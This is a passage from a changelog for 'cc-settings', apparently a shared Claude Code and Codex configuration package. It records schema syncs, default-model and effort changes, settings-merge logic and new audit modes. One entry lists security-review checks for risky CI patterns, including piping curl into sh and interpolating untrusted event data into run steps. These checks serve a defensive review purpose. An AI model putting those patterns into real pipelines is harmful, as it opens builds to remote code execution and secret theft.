  • New settings keys accepted by the strict schema: timeFormat, timeZone, permissions.blockReadsOutsideWorkingDirectories (2.1.257), desktopSessionCleanupPeriodDays (2.1.248); agent frontmatter experimental.cacheTtl (2.1.248); env vars CLAUDE_CODE_RESTRICTED, CLAUDE_CODE_SUBAGENT_MODEL_FORCE, SELF_HOSTED_RUNNER_CLIENT_LABEL in the manifest and docs/settings-reference.md.
  • Managed-file manifest version 5 → 6 so the new hook reaches existing installs; emitHookSpecificOutput helper in src/lib/hook-runtime.ts for hooks whose output carries a decision.
  • Docs follow the 2.1.251 semantics change for CLAUDE_CODE_SUBAGENT_MODEL (now the default for every subagent, overridden by agent model: and per-spawn — built-in Explore/Plan/general-purpose now run on Sonnet), per-model /effort persistence, the fable alias moving to Fable 5.1, defaultMode: "bypassPermissions" being ignored in project settings, and project env no longer setting CLAUDE_CONFIG_DIR/TMPDIR.

Deletions / Native-now-redundant: none.

Files changed:

  • src/schemas/hooks.ts, src/schemas/settings.ts, src/schemas/permissions.ts, src/schemas/agent.ts, schemas/*.schema.json
  • upstream/claude-code-manifest.json
  • src/hooks/model-switch-guard.ts (new), src/lib/hook-runtime.ts, config/40-hooks.json
  • src/hooks/statusline.ts
  • src/lib/claude-managed-file-manifests.ts
  • tests/model-switch-guard.test.ts (new), tests/statusline-cache.test.ts (new), tests/install-e2e.test.ts
  • docs/hooks-reference.md, docs/settings-reference.md, docs/frontmatter-reference.md, docs/agent-models.md, CLAUDE-FULL.md
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json

Prompt surface adapted to Claude Fable 5.1 per Anthropic's prompting guide. A scan of CLAUDE-FULL.md, the output style, rules, agents, and skills found none of the literal anti-patterns the guide flags (anti-formatting bans, "hold findings" lines, thinking suppression); the changes below are rules whose rationale shifted with the model.

Adopted:

  • Editing rule now minimizes edit tokens: surgical Edit for any targeted change, Write only for new files or when most of a file changes, and one re-read-and-retry before falling back to Write. The old ">15 lines → Write" rule amplified 5.1's tendency to rewrite whole files.
  • Register gains "no mannered prose" (5.1 prose runs denser) and a positive-framed formatting rule (5.1 under-formats, so bans would suppress needed structure) in both CLAUDE-FULL.md and output-styles/darkroom.md.
  • Effort/context guidance is model-aware: on Fable 5.1, medium ≈ Fable 5 at lower cost, low answers from memory so raise it for lookups, and the 200K ceiling is about usage limits and attention rather than premium billing (1M at standard rates, cache reads 0.025x).
  • Delegation: keep working while background agents run; the fast-moving-names verification rule generalizes the hardware/platform search rule to AI models and dev tools.
  • AGENTS.md scopes committed tests to what the task asks for, sized like neighbors; scratch checks stay scratch.

Files changed:

  • CLAUDE-FULL.md
  • output-styles/darkroom.md
  • AGENTS.md
  • docs/agent-models.md

Default session model is now Claude Fable 5.1 (claude-fable-5-1), replacing claude-opus-5. The whole team is on Max, where Fable has been included since 2026-07-20 (same weekly pool at ~2x the Opus 5 rate, capped at 50% of the weekly limit, extra-usage credits past that), so the default now buys 5.1's long-horizon agentic gains and the pool-burn trade-off is the team's stated preference. Judgment agents (maestro, planner, security-reviewer) stay pinned to claude-opus-5; /model opus remains the per-session step-down. Installs that never changed model move with the default through the v15.4.0 three-way merge; user-set models are untouched.

Files changed:

  • config/10-core.json
  • docs/agent-models.md
  • docs/settings-reference.md

[15.4.0] — 2026-08-27

Changed config defaults now reach existing installs: a value still equal to what the previous install wrote is treated as cc-settings' own old default and moved to the new team value, instead of user-wins freezing it forever. User-changed values keep winning everywhere.

Adopted:

  • Three-way defaults update in the settings merge, driven by the recorded baseline (baselineSettings replaces v15.3.0's env-only baselineEnv): nested scalar conflicts in the default deep-merge strategy, env value conflicts, permissions scalar fields, and an uncustomized statusLine block (which now also picks up new sub-keys user-wins-whole silently dropped). Reported as "Updated N stale default(s) to the new team value".
  • The block-level nested-ADD gap itself was already fixed in v12-era bf9bfdd (deep-merge lands team-only sub-keys); this closes the remaining CHANGED-default and dedicated-strategy cases.

Files changed:

  • src/lib/settings-merge.ts
  • src/setup.ts
  • tests/settings-merge.test.ts
  • package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

[15.3.0] — 2026-08-27

Env keys cc-settings retires between versions are now removed from existing installs automatically, instead of surviving until someone remembers the registry.

Adopted:

  • Three-way env prune in the settings merge: the previous install's recorded baseline (~/.claude/.cc-settings-baseline.json, written since v13.1.0) is read before the managed footprint is cleaned and threaded into mergeSettings as baselineEnv. A key the old install wrote, the new config no longer sets, and the user never changed is pruned; a user-changed value survives as a user edit. First production caller of readSettingsBaseline — the first shipped slice of the three-way merge design, deliberately scoped to env only.
  • ENABLE_PROMPT_CACHING_1H added to DEPRECATED_ENV_KEYS as the fallback for pre-v13.1.0 installs with no baseline (the v15.2.0 retirement that exposed this gap).

Deletions / Native-now-redundant:

  • None. DEPRECATED_ENV_KEYS stays as the pre-baseline fallback path.

Files changed:

  • src/setup.ts
  • src/lib/settings-merge.ts
  • src/lib/settings-baseline.ts
  • tests/settings-merge.test.ts
  • tests/install-e2e.test.ts
  • package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

[15.2.0] — 2026-08-27

Claude Code v2.1.238 → v2.1.247 sync: six new settings keys typed, and the blanket 1-hour prompt-cache env var replaced by per-scope cache-TTL keys.

Adopted:

  • promptCacheTtl: "1h" + subagentPromptCacheTtl: "5m" in config/10-core.json (upstream v2.1.242) — the main conversation keeps the 1-hour cache across breaks while subagents, workflows, and compaction drop back to 5 minutes, skipping the higher 1h cache-write rate on every fan-out.
  • feedbackDrafts enum in the settings schema (v2.1.247) — SendFeedback draft control: notify / quiet / off.
  • spinnerTipsOverride extended with tips entries ({id, text, cooldownSessions, priority} or plain strings), tipsFile, and label (v2.1.247).
  • modelPicker (v2.1.242) — curated /model lineup with options rows and replaceBuiltInOptions.
  • keybindingFlavor enum (v2.1.238) — "readline" Ctrl+W behavior.
  • modelPricing loose object (v2.1.243, managed) — contracted per-model rates for /cost and telemetry.
  • Manifest: five prompt-cache/feedback env vars added to knownEnvVars (reference-only).

Deletions / Native-now-redundant:

  • ENABLE_PROMPT_CACHING_1H env removed from config/10-core.json — superseded by the typed promptCacheTtl / subagentPromptCacheTtl keys above (upstream v2.1.242); the settings keys sit above the env var in upstream precedence, so the var carried no remaining value.
  • docs/settings-reference.md effortLevel prose said cc-settings pins high; the config pins medium — corrected.

Files changed:

  • src/schemas/settings.ts
  • schemas/settings.schema.json
  • config/10-core.json
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • CHANGELOG.md

[15.1.0] — 2026-08-27

  • New --fresh install flag: reinstalls as if cc-settings were being added to a clean Claude Code setup for the first time. Removes ~/.claude/settings.json, the prior-install sentinel (.cc-settings-version), the settings baseline (.cc-settings-baseline.json), and the hooks fingerprint (.cc-settings-hooks-fingerprint), drops any cc-settings-managed MCP servers the current install no longer ships, and moves aside the source repo's .claude/settings.local.json (accreted permission approvals) to a timestamped .bak-<ts> file — then installs the full baseline fresh. Scope is config only: login/auth state, conversation history, projects memory, and non-cc-settings plugins are never touched. Recoverable via --rollback.

[15.0.0] — 2026-08-26

Context-cost diet: users were draining ~80% of their usage allowance in a couple of hours. This release lowers the standing defaults that multiplied token spend and shrinks the always-injected surfaces; depth stays available per session.

Default behavior (breaking for anyone relying on the old defaults):

  • CLAUDE_CODE_EFFORT_LEVEL default high → medium. Thinking tokens are output-priced and every inheriting subagent spends them; raise per session with /effort high|xhigh. planner and security-reviewer now pin xhigh in frontmatter.
  • CC_PARALLELMAX_THRESHOLD default 12 → 20 (config and the tool-cadence code default) — each delegation re-pays a full system prompt.
  • Codex cross-model review batched: one review per PR / /ship / risky commit instead of every diff-producing turn. The codex-verify hook now injects [codex:batched]; codex exec bulk routing is unchanged.
  • Context guidance: treat 200K tokens as the working ceiling even on 1M-window models — input past 200K bills at the long-context premium. Compact or /handoff by ~150K. MANUAL.md and first-session tables are now token-based.
  • The installer preserves existing scalar env values, so these new defaults do not reach existing installs on upgrade — apply them by hand (/config, or edit ~/.claude/settings.json) or reinstall fresh.

Prompt footprint:

  • CLAUDE-FULL.md 12,315 → 9,286 bytes with the same policy content.
  • Skill selector descriptions 9,913 → 8,673 bytes; SKILL_DESCRIPTION_BYTE_BUDGET tightened 10,240 → 8,704 (one-way ceiling).
  • Rules diet: rules/ 54.0 KB → 37.6 KB. Reference material moved to docs/performance-reference.md and docs/motion-reference.md (read on demand); every enforcement rule and numeric value stays in the rules. A single .tsx touch now injects ~38 KB of rules instead of ~52 KB, per session and per subagent.

Installer:

  • Claude managed-file manifest advanced to v5 to ship the two new reference docs; historical manifest versions exclude them so ownership and upgrade pruning stay accurate.

[14.0.0] — 2026-08-24

This major release changes the installed instruction surface and Claude managed-file ownership.

Prompt footprint:

  • Compressed the always-on AGENTS.md surface from 26,445 to 15,938 bytes, CLAUDE-FULL.md from 26,429 to 12,315 bytes, and the Darkroom output style from 5,698 to 3,375 bytes while preserving their guardrails.
  • Compressed skill selector descriptions from 12,230 to 9,937 bytes and agent selector descriptions from 6,398 to 4,858 bytes. New byte ceilings prevent those surfaces from drifting upward unnoticed.

Installer:

  • Advanced the Claude managed-file manifest to v4. New installs no longer copy rules/README.md, removing 1,475 installed bytes, and v3 installs upgrade without leaving the previously managed file behind.

Portability:

  • Made Bun subprocess and test helpers portable to Windows, and isolated FIFO coverage to POSIX platforms where named pipes are available.

Docs:

  • Full documentation drift audit — read every reader-facing doc in the repo in full (MANUAL.md, README.md, AGENTS.md, CLAUDE.md, CLAUDE-FULL.md, SECURITY.md, all of rules/, agents/, and docs/) and cross-checked every factual claim against the actual code, via six parallel read-only audits. 46 findings reported (2 were the same cross-file issue caught twice); applied across 22 files this pass. Highlights: triage was missing from MANUAL.md's "All Skills" table despite being a real, managed skill; docs/frontmatter-reference.md had drifted hardest — stale agent tool lists (phantom TodoWrite, missing SendMessage), a fabricated context: inherit value that's never actually valid, and every skill's argument-hint/allowed-tools cells out of sync with their SKILL.md frontmatter; two docs (docs/settings-reference.md, docs/agent-models.md) and the upstream manifest still described a CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH pin removed in v13.2.1; docs/settings-merge-three-way-design.md read as an open proposal when part of it shipped (v13.1.0) and the rest was explicitly declined — now marked historical; docs/security-reference.md had a duplicated OWASP category number (two sections both claimed A07:2021, A04:2021 Insecure Design was missing); agents/maestro.md's delegation matrix was missing deslopper, security-reviewer, and codex-verifier despite MANUAL.md claiming it delegates to "all of the above"; agents/planner.md pointed readers to an ADR template that existed nowhere in the repo — it now contains one. Also rewrote MANUAL.md's eight-mode /audit section from one 900-word paragraph into a scannable per-mode list, and split two other dense paragraphs (SECURITY.md's auto-update controls, docs/codex-bridge.md's quota-steering mechanics) into bulleted lists — same facts, readable without prior context. Full file list in the diff; two batches of the sweep declined to report and had to be re-prompted (docs-audit-rules, docs-audit-batch-a) — noted here in case the pattern recurs.

[13.16.0] — 2026-08-20

Sync with Claude Code v2.1.235–v2.1.237 (from v2.1.234). Three upstream releases, mostly bug fixes; two config-surface additions and two documented behaviors.

Adopted:

  • spellcheck settings key (upstream 2.1.235) — underlines misspelled words in the prompt input via installed aspell/hunspell/ispell. Added to src/schemas/settings.ts as a boolean | object superset (upstream hasn't pinned the value shape) and documented in docs/settings-reference.md. Not enabled in config/ — keeps the strict schema from rejecting a live settings.json that sets it.
  • ANTHROPIC_DEFAULT_MODEL env var (upstream 2.1.236) — the model new sessions start on; a /model pick still overrides it and persists, unlike ANTHROPIC_MODEL. Tracked in the manifest and the docs env table. cc-settings keeps pinning the default via the model settings key.

Docs:

  • notify_when_idle on cross-session SendMessage (upstream 2.1.236) — one-shot idle notice from a same-machine session, replacing ListAgents polling. Documented in docs/settings-reference.md → Cross-session messaging.
  • Built-in "Concise" output style (upstream 2.1.237) — noted in MANUAL.md; Darkroom stays the shipped default because Concise targets brevity only, without the register rules.

Files changed:

  • src/schemas/settings.ts
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • MANUAL.md
  • src/setup.ts
  • CHANGELOG.md

[13.15.0] — 2026-08-20

cc-settings now installs a native Codex harness from the same installer and source tree as Claude Code. Native setup replaces /import as the recommended path. /import remains available for migrating an existing hand-tuned Claude Code profile.

Added:

  • Target selection across the full lifecycle. --target=auto|claude|codex|both now applies to install, dry run, status, rollback, and uninstall. auto selects both products when codex is on PATH, and Claude Code only otherwise. Unknown flags and invalid values fail closed.
  • A native Codex install package. Full installs manage a marked AGENTS.md block, Codex role TOMLs, rules/darkroom.rules, allowlisted runtime source, a version sentinel, Codex-specific backups, and the darkroom@cc-settings plugin. The plugin supplies the 38 shared skills, the fixed HTTPS Figma MCP, compatible lifecycle hooks, and Codex UI metadata. User-created and ignored checkout files are not copied into the managed runtime.
  • Ownership-aware Codex lifecycle operations. Reinstalls preserve unrelated agents, rules, and instruction text. First installs refuse same-name collisions. Light switches, rollback, and uninstall remove only sentinel-owned native agent files, while uninstall keeps backups.

Changed:

  • Codex setup documentation now leads with the native installer. It documents one-time hook trust review through /hooks, MCP authentication, the Codex-specific light profile, independent product backups, IDE plugin limits, and Claude-only workflow boundaries.
  • Codex MCP defaults now avoid mutable registry commands. Context7 and Chrome DevTools are not auto-run from unpinned packages. Users may configure reviewed and pinned versions. Shared Codex workflows fall back from the unbundled tldr server to rg and native search.
  • The bootstrap flag reference now covers Codex targets and uninstall. The remote one-liners still run the default target; passing flags requires running the bootstrap from a checkout.

/audit reshuffled: Maintainability and Codebase modes merged into one, new empirical-only Performance mode. The two modes fanned the same whole-repo readers over the same files and shipped near-identical reports, so they now run as one Codebase mode with two hunt lists — a structure lens (should this code exist? — the Cursor thermo-nuclear rubric + context7 dependency audit) and a behavior lens (does it do what it promises? — the fable-audit adversarial categories). The mode router's maintainability-vs-correctness clarifying question is gone; bare "audit the codebase" routes straight in. The new Performance mode covers client runtime, bundle/build, server/data, and code-level hot paths with a hard evidence rule: a finding does not exist until a measurement confirms it — static reading only generates hypotheses, each confirmed or discarded by a profile/benchmark/timed run, unmeasurable leads quarantined in an ungraded appendix, and a "not measurable" repo gets a stop, not a speculative report. Severity anchors on budgets (CWV good thresholds, per-route first-load JS) where a limit is named and on leverage (measured cost × path frequency) otherwise. Client-runtime numbers delegate to the same Lighthouse protocol /lighthouse uses; /lighthouse keeps the single-page fix-until-targets loop and dropped the ambiguous "performance audit" trigger. Mode count stays eight; skill count unchanged. Updated: skills/audit/SKILL.md, skills/audit/references/audit-contract.md, skills/audit/references/nuclear-review.workflow.js (header), skills/lighthouse/SKILL.md (description), MANUAL.md.

Also in this release: audit's codebase mode reconciles SHORTCUT: markers like documented decisions and adds deslop-cli as a second advisory dead-code signal; the performance mode's hypothesis sweep targets high fan-in hubs from the tldr call graph; findings hand off by type (dead code/duplication → deslopper, structure → /zero-tech-debt//refactor, client runtime → /lighthouse); oracle and strategist cross-reference each other to resolve their trigger adjacency; the Codex native install's collision error now names its remediation.

[13.14.0] — 2026-08-18

The audit skill gains an SEO mode — discoverability for search engines and answer engines. Distilled from shipped Darkroom work: satus PRs #348/#405/#413 and darkroomengineering/website PRs #40/#65 independently converged on one discoverability architecture, and the mode encodes that destination shape as 17 mechanical checks so any client project can be audited against it.

Added:

  • skills/audit/references/seo-checks.md — the check reference (S1–S17, stable IDs), five groups: canonical integrity (self-referential per route; Next.js replaces, never merges, a child's alternates), advertised-vs-rendered (every sitemap URL must 200 — the sitemap never checks reachability itself), per-content metadata, structured data (JSON-LD hygiene, no fabricated facts), and AEO surfaces (/llms.txt generated from shared sources, AI crawlers named in robots.txt, machine-view routes for canvas-heavy sites). Each check carries the curl/grep detection command and the fix's destination shape.
  • Mode: SEO in skills/audit/SKILL.md — rides the Shared Contract (CONFIRMED/PLAUSIBLE, stable IDs, docs/audits/seo-audit-YYYY-MM-DD.md), runs mechanical checks before source reading, and adds a per-check verdict table so successive audits diff against the last run. Router triggers: "seo audit", "aeo", "ai engine optimization", "answer engine", "rank better".

Changed:

  • The audit skill description was compressed to fit the new mode under the 1024-char per-skill cap and the 12 KiB index budget — trigger phrases dropped where the remaining description text already carries the routing keyword ("harsh maintainability review", "docs audit", "audit the workflows", "abuse paths", "discoverability audit", "llms.txt").

[13.13.0] — 2026-08-18

Sync with Claude Code v2.1.234 (from 2.1.228; 2.1.230 was never published — the upstream changelog jumps 2.1.229 → 2.1.231). The headline is upstream removing the todo/task tools from Opus 4.8+ models; cc-settings follows the removal instead of opting back in.

Adopted:

  • Todo/task tools stripped from agent frontmatter (upstream 2.1.233 removed TodoWrite and TaskCreate/Get/Update/List on Opus 4.8+, Sonnet 5, Fable 5, Mythos 5). implementer loses TodoWrite; deslopper loses the Task* quartet; maestro loses both, and its teams-orchestration and batch-detection prose no longer leans on a shared task list. The alternative — CLAUDE_CODE_ENABLE_TODO_TOOLS=1 in config/10-core.json — was considered and rejected at the sync gate: follow the upstream direction rather than pin old behavior. Why this matters: with the session on Opus 5 and subagents on Sonnet 5, all three agents were declaring tools that no longer exist.
  • sandbox.ripgrep (2.1.232) in src/schemas/settings.ts — third sandbox binary override next to bwrapPath/socatPath; honored only from user/managed/--settings scopes, and managed overrides of any of the three now require approval.
  • Marketplace keys (2.1.232) in src/schemas/settings.ts — additionalMarketplaces and allowedMarketplaces, the new friendlier aliases for extraKnownMarketplaces/strictKnownMarketplaces, plus extraKnownMarketplaces itself, which predates this window but was never modelled.
  • Seven env vars in the manifest and docs/settings-reference.md: CLAUDE_CODE_TOOL_MEMORY_LIMIT, CLAUDE_CODE_WEBFETCH_CACHE_TTL_MS, CLAUDE_CODE_ENABLE_TODO_TOOLS (2.1.233); CLAUDE_CODE_PROJECT_DIR_NAME, CLAUDE_CODE_GOAL_CHECKIN_MINUTES (2.1.234); CLAUDE_CODE_WORKFLOW_PREFIX_STAGGER_MS, CLAUDE_CODE_ATTRIBUTION_HEADER (2.1.229).
  • Docs: CLAUDE-FULL.md cross-session messaging paragraph gains the 2.1.232 upgrades (bare-name SendMessage delivery, @-mention of sessions, unique live-session names).

Deletions / Native-now-redundant: none. Checked and cleared: the removed "Default teammate model" /config row (zero references here), the native GitLab MR statusline badge (custom statusline.ts unaffected), and the new /config rows for dialog expiry and cross-session inbound (keys modelled since the 2.1.224 sync).

Skipped: all GitLab integration, gateway/enterprise surfaces, plugin marketplace command sources (no plugin-source schema here — same call as the 2.1.224 sync), the selection:clear keybinding, and the usage-limit auto-continue toggle (its settings key is unnamed upstream; the loose root tolerates it).

Files changed:

  • agents/implementer.md
  • agents/deslopper.md
  • agents/maestro.md
  • src/schemas/settings.ts
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • CLAUDE-FULL.md
  • CHANGELOG.md
  • package.json
  • src/setup.ts
  • .claude-plugin/plugin.json
  • .codex-plugin/plugin.json

[13.12.0] — 2026-08-13

Codex gets a distribution surface — one source tree, two harnesses. cc-settings already pairs with Codex at runtime through the bridge (docs/codex-bridge.md); this adds the setup half, so a Codex user can consume the same standards and skills without a fork or a second installer.

Added:

  • .codex-plugin/plugin.json — a Codex-native plugin manifest that points at the shared ./skills/ directory rather than copying it. Both marketplaces now advertise the same darkroom plugin from the same checkout, so the skill library cannot drift between them.
  • docs/codex.md — the setup doc. Recommends Codex's native /import of an installed Claude Code harness as the complete path (it translates instructions, settings, skills, hooks, MCP servers, and subagents), and documents the plugin manifest as a skills-only preview for packaging validation and incremental porting. Records the distribution decision: keep Codex support in this repo; do not create a codex-settings repository unless Codex needs independently versioned behavior.
  • Version-sync coverage for the new manifest in tests/plugin-manifest.test.ts — the version-bearing file count goes from three to four, and a new identity-alignment test pins name, author, repository, and license equal across both plugin manifests. Without it the two manifests could describe different plugins under one marketplace entry.

Changed:

  • README.md — the one-line description now says "AI coding configuration" instead of "Claude Code configuration", since the Claude harness is no longer the only consumer. Adds a Codex setup pointer and a docs/codex.md row to the docs table.

Boundary worth knowing: the plugin path exposes SKILL.md files only. CLAUDE-FULL.md, Claude settings, hooks, and role-agent definitions still need the import's translation, and several orchestrated skills refer to Claude role-agent conventions. Do not call the skill library Codex-native until representative multi-agent, review, and shipping flows pass there.

Files changed:

  • .codex-plugin/plugin.json (new)
  • docs/codex.md (new)
  • docs/codex-bridge.md
  • README.md
  • CHANGELOG.md
  • package.json
  • src/setup.ts
  • .claude-plugin/plugin.json
  • tests/plugin-manifest.test.ts

[13.11.0] — 2026-08-12

Security-review techniques folded in from vercel-labs/deepsec (Apache-2.0); no new skill, 38-skill ratchet holds. deepsec is a standalone paid AI vulnerability scanner — its product code isn't portable, but its investigation prompt and matcher library carry concrete review heuristics cc-settings lacked.

Adopted:

  • agents/security-reviewer.md gains an Auth-Review Discipline section — three rules from deepsec's investigation prompt: only middleware that wraps the handler directly counts as an auth check (edge/proxy/CDN/WAF and Next.js middleware.ts are explicitly insufficient); a four-surface auth-bypass checklist (URL manipulation, auth-flow tampering, resource-level authorization gaps, and negated permission checks like !(await auth.can(...)) with inverted logic); and a static-analysis-only constraint (never reproduce or exploit, review source only).
  • docs/security-reference.md gains Framework Auth & Supply-Chain Checklists — from deepsec's tested matcher library: every export from a 'use server' file is a publicly callable POST endpoint regardless of client call sites (and auth present is not auth correct — the call's logic still gets reviewed), untrusted searchParams/dynamic segments, cross-tenant unstable_cache keys; a GitHub Actions checklist (pull_request_target with PR checkout, unpinned action refs, ${{ github.event.* }} interpolated into run: blocks, permissions: write-all, curl | sh); and a compact Dockerfile/Terraform checklist (digest-pinned FROM, non-root USER, IAM wildcards, 0.0.0.0/0 ingress, SHA-pinned modules).
  • docs/security-reference.md gains "Wiring a Security Scanner into PR CI" — the two-job pattern with its threat model kept intact: the analyze job runs PR code with read-only permissions (a PR controls its own postinstall scripts and CLI-loaded config, which run before your steps), the comment job holds pull-requests: write and never executes PR code; net-new-findings-only gating (baseline read from the base ref, never the PR checkout) so pre-existing debt doesn't turn every touching PR red; a same-repo gate on the secret-bearing job (deepsec's doc calls it an author_association gate in one section and UX cleanup in another — the same-repo check is what its shipped workflow implements, and it's what keeps scanner credentials from being reachable by fork PR code), optional label-gating for defense-in-depth; SHA-pinned actions and three-dot merge-base diffs.
  • /audit threat-model mode gains a fifth hunt category — the repo's own delivery pipeline as an entry point, walking the new checklists.

Explicitly not taken: deepsec's runbook SKILL.md (drives their paid CLI), the scanner itself (different tier — at most a companion tool), and the generate-validate-explosion-check contract for LLM-authored regex (genuinely novel, but cc-settings has no LLM-generated-pattern feature to guard yet — parked as a reference design in this entry).

Files changed:

  • agents/security-reviewer.md
  • docs/security-reference.md
  • skills/audit/SKILL.md
  • src/setup.ts
  • .claude-plugin/plugin.json
  • package.json
  • CHANGELOG.md

[13.10.1] — 2026-08-12

Sync with Claude Code 2.1.228, plus a schema repair from 2.1.226. The 2.1.227 and 2.1.228 changelogs are entirely bug fixes and UI polish — no new settings keys, hook events, env vars, tools, or agent-frontmatter fields, so nothing to adopt and nothing to dedupe.

Adopted: nothing from 2.1.227–2.1.228 itself. One repair from the previous release: remoteControlAtStartup (v2.1.226) was enabled in config/10-core.json without a matching key in the settings schema, failing the composed-fragments known-key test — now in src/schemas/settings.ts, the manifest's knownSettingsKeys, the regenerated schemas/settings.schema.json, and the settings-reference table.

Deletions / Native-now-redundant: nothing. Two candidates were checked and cleared: the 2.1.228 Write-tool change (newer models may overwrite unread files) doesn't touch CLAUDE-FULL.md's Edit Strategy, which is about Edit-tool exact-match failures; the cross-session messaging fixes don't change the semantics docs/settings-reference.md documents. The memory-folder cleanup fix and the marketplace settings-merge fix benefit installs silently.

Files changed:

  • upstream/claude-code-manifest.json
  • src/setup.ts
  • src/schemas/settings.ts
  • schemas/settings.schema.json
  • docs/settings-reference.md
  • .claude-plugin/plugin.json
  • package.json
  • CHANGELOG.md

[13.10.0] — 2026-08-11

Two external skill repos folded in; the 38-skill ratchet held. A research pass over openai/skills (32 curated skills) and emilkowalski/skills (10 skills) found six things worth taking. None became a new skill — everything grafted into existing skills and rules, which is exactly the consolidation pressure the ratchet exists to apply.

From openai/skills (each skill individually licensed; both sources verified Apache-2.0):

  • plan-feature gains a Goal Quality Bar — a gate before the discovery interview, adapted from define-goal. The old Phase 1 asked three soft questions (problem/who/success) with no rejection discipline, so "make progress on X" sailed through to a PRD. The gate demands what's true when done, the evidence, the threshold, the scope bound, and the stop condition; rejects pure activity goals until sharpened; and carries a domain-keyed validator table (bug → failing-then-passing repro, perf → metric+threshold+method+runs, research → the decision it unblocks). When a clean one-liner falls out, the interview is skipped entirely — the gate is also an off-ramp.
  • /audit gains a Threat-Model mode — the one clean capability gap in the security surface: security-reviewer is diff-scoped and nothing produced a standing threat-model document. Repo-grounded STRIDE-style workflow: trust boundaries and assets, attacker capabilities with explicit non-capabilities (an uncalibrated attacker inflates every finding downstream), abuse paths tied to attacker goals, likelihood×impact with the reasoning written out, mitigations mapped one-to-one to components. Pauses to ask about deployment/exposure/sensitivity before finalizing, because those answers reshape severity.
  • /review's PR-comments variant follows through — it summarized reviewer feedback but stopped there. It now runs a triage → approval gate → fix → push → thread-reply loop. Cross-model review caught two real bugs in the first draft: gh pr comment posts issue-level comments that never attach to a review thread (replies now go through the REST replies endpoint, and resolution is explicitly left to the reviewer), and "re-run the digest until Blocking hits zero" was unachievable since comments don't disappear when fixed — the digest now tracks addressed-vs-open with commit SHAs.

From emilkowalski/skills (MIT) — the animation-taste layer cc-settings never had. The repo had no easing curves, no duration budgets, and no framework for whether something should animate at all; for a studio whose work is motion-heavy that was the largest documented gap this release closes:

  • /qa gains a Motion Opportunities pass (from find-animation-opportunities) — finds places that should animate and rejects everywhere that shouldn't. Every candidate survives a four-question gate: frequency (100+/day → never animate, no exceptions), a named purpose ("it looks cool" is not on the list), the duration budget, and function (decorative motion hurts data the user is reading). Output is capped at 5–7 suggestions pulling values from the project's own tokens, and must include 2–5 rejected candidates tagged with the question that killed them — the rejection list is what separates the pass from a wishlist. The qa fork's tool list gained Read/Grep/Glob; cross-model review caught that the pass instructed greps the fork couldn't execute.
  • /review gains an animation checklist (from review-animations) — ten standards enforced per-diff when motion code is touched (justified motion, frequency-appropriateness, ease-in as a hard block, sub-300ms with modals/drawers sanctioned to 500ms, trigger-anchored transform-origin, interruptibility, GPU-only properties, reduced-motion, asymmetric enter/exit, cohesion), plus flag-on-sight escalation triggers and a remedial order that starts with "delete the animation".
  • /audit gains a Motion mode (from improve-animations) — whole-repo animation audit producing self-contained implementation plans, slotting into the same mode-router skeleton as the other six. Seven modes total.
  • rules/ui-skills.md Animation Constraints rewritten — the three old bullets become easing tokens (--ease-out, --ease-in-out, --ease-drawer with cubic-bezier values), a duration budget by element type, the should-it-animate frequency table, and a never-ship list. One deliberate policy change: "only animate when explicitly requested by design" is gone — the gate replaces it, and /qa now proposes motion rather than waiting for design to ask. Also new: a curated library-picks table (cmdk, NumberFlow, dnd kit, Virtuoso, the clsx/cva split).
  • rules/motion-physics.md is new (rules are uncapped) — interruptibility as the first law of gesture-driven motion, 1:1 direct manipulation with pointer capture and touch-action/pointercancel handling, Apple-style spring defaults (duration+bounce, bounce only when the gesture carried momentum), velocity handoff at release, momentum projection, rubber-banding, asymmetric timing, clip-path recipes, a debugging-feel method, and a vocabulary table for briefing agents precisely.

Adjudicated cross-model review, both rounds. Codex returned 4 findings on the openai batch and 8 on the motion batch; all 12 verified against the files before acting, all 12 confirmed and fixed pre-land — including three internal contradictions (reduced-motion "gentler not zero" vs an old example that zeroed durations; the 300ms rule vs the 500ms modal allowance stated without a carve-out; clip-path counted as both "third" and "fourth" sanctioned property).

Explicitly not taken: Stagehand (the repo has zero Playwright to replace, and its LLM-picks-the-selector layer duplicates what Claude already does through chrome-devtools MCP — at added cost and nondeterminism); openai's deploy/Notion/Linear/Codex-specific skills; ask-sonner; emil-design-eng (90% internal duplicate). Emil's prototype (N divergent UI variants behind a live picker) is genuinely novel but skill-shaped — taking it means retiring one of the 38, a REPLACE decision deliberately left open.

[13.9.0] — 2026-08-10

Agent teams are now enabled, and deliberately not the default. CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: "1" ships in config/10-core.json. Until now it was set nowhere, while three separate files described team workflows — so no team had ever formed from our config.

Enabling the flag makes teams available, not automatic. Claude still forms one only when asked, or when it proposes one and you approve.

The rule that keeps them from becoming the default (CLAUDE-FULL.md → "Agent teams — enabled, deliberately not the default"): parallelism is not the criterion, because subagent fan-out is already parallel and already gives each worker its own context window. The one thing teams do that subagents cannot is let workers talk to each other — shared task list, direct messaging — where a subagent only reports back. So the test is:

Does worker A need to see, challenge, or build on what worker B found while both are still working?

Yes → team (competing hypotheses that should disprove each other, a review whose lenses need to argue). No → parallel Agent calls, which are cheaper and land results in one place instead of N transcripts. Tokens are a real input but not the deciding one; trading them for wall-clock is often right. Spend them when the debate is the point.

Four feasibility gates that come before cost, all from upstream's documented limitations: teammate permission prompts surface in the lead, so a team is not an unattended mechanism; /resume and /rewind do not restore in-process teammates; teammates cannot spawn teammates, so maestro running as a teammate cannot fan out; and two teammates editing one file overwrite each other — split by file ownership at spawn, since teammates are separate sessions and cannot take the worktree isolation flag a subagent can.

Files changed:

  • config/10-core.json — the flag. New template env keys reach existing installs through settings-merge.ts's { ...team, ...user }, so a setup.sh re-run picks it up.
  • CLAUDE-FULL.md — the selection rule, plus a routing-table row for "workers must argue with each other, not just report back".
  • skills/orchestrate/SKILL.md — corrects the prerequisites text written earlier the same day, which said cc-settings does not enable teams.
  • docs/settings-reference.md — env-table row for the flag.

[13.8.0] — 2026-08-10

Sync with Claude Code v2.1.226. Both features in this window ship real config that the changelog doesn't mention, so the shapes here were read out of the 2.1.226 binary and cross-checked against the cross-session-messaging docs page rather than inferred from release notes.

Adopted — cross-session messaging (upstream 2.1.224):

